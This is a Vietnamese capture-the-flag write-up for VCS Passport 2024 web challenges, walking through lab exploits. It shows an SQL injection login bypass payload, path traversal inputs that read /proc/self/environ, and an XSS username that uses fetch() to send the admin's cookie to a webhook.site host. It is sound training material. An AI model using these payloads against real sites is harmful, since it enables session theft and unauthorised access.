Writeup VCS Passpost 2024 [WEB]
Bài Web01-Flag1
Khi bấm vào link, mình thấy giao diện như sau:
Sau đó đọc source code thấy route /freeflag:
Sau đó thấy server trả về session như hình
=> Có thể là jwt. Vào trang jwt.io check:
=> Flag: VCS{Web01-Flag1-680c37cc-6147-4d08-8c11 29c91b2a50bf}
Bài Web01-Flag2
Sau khi đọc source code, thấy chỉ lấy được Flag02 trong trường hợp login với admin
Trước tiên thì tìm hiểu xem cơ chế mà server xử lý login như nào
Hàm execute
đã trực tiếp nối input của người dùng (username) vào trực tiếp câu lệnh SQL => SQLInjection
Server kiểm tra trước xem có tồn tại username không, nếu có thì lấy password đã
được hash md5 (lưu trữ) trong database, và lấy password người dùng nhập, hash md5
password đó => Kiểm tra xem 2 hash trùng nhau không => Trùng thì đăng nhập thành
công.
Hoàn toàn có thể tận dụng lỗi SQL Injection trên, union select 1 tài khoản admin và 1 mật khẩu đã được mã hóa md5
Đọc source => Sử dụng SQLite3
Sau đó vào Burp Suite, chỉnh giá trị username như sau:
abc") UNION SELECT 'admin', '202cb962ac59075b964b07152d234b70'-
Password cung cấp: 123
Ở đây để phần đầu username là abc, để server không tìm thấy user có username là abc thì user phía sau được lấy => Fake được user admin
Bài Web01-Flag3
Đọc file start.sh
:
Thấy $FLAG3
chưa unset => vẫn nằm trên environ của tiến trình.
Khi đọc src thì mình nhận ra field title
không hề được validate:
Ý tưởng là mình sẽ inject vào field title
để thực hiện Path Traversal, đọc file /proc/self/environ
hoặc /proc/1/environ
Đầu tiên mình tạo request với CURL:
curl.exe -X POST http://localhost:9001/upload-meme -F "meme=@dockerfile" -F "title=title" -x 127.0.0.1:8080 -v
Qua Burp Suite
Sửa title
thành
aaaaaaaa", "../../../../../../../proc/self/environ") --
Bài Web04
Đây là code python, trong index có hàm render_template() không bị SSTI (render_template_string thì bị)
Mình để ý đến /feedback
subject
được đưa vào nối chuỗi => Có thể bị Path Traversal
Sau khi xem và tìm hiểu thì hàm unidecode() có thể chuyển \
, \\
về /
=> bypass được '/'
Xem docker và check được user có thể ghi vào folder errors
Ý tưởng là mình sẽ Path Traversal qua field subject
và thực hiện lệnh gì đó qua field content
Lấy được flag trong config (app.config['FLAG'] = os.environ['FLAG']
)
Bài Web06
Khi đọc source mình để ý 2 hàm dưới
Check tiếp hàm register
Nhận thấy email
và bio
đã bị filter XSS. Còn username được lấy từ
session[“username”]
. Mà username
trong hàm register lấy trực tiếp từ người dùng
=> username
là untrusted data
Hàm report profile => khả năng được gửi lên để admin xem => sẽ ra sao nếu report 1 nick có username với payload xss để cướp cookie admin khi xem Đầu tiên tạo 1 user có username:
<script>fetch(`https://webhook.site/d15deb00-b0fb-43ad-a288480ba00c2c37?cookie=${document.cookie}`)</script>
Sau đó tạo user khác, mục đích để lấy nick này report nick trên
Ví dụ: http://localhost:9006/profile/3ab3a9de-3571-48a4-bb01-257486e69f3a
Check webhook
Flag: VCS{web06-2f29cec6-b8ea-4126-a2cd-a213bb332150}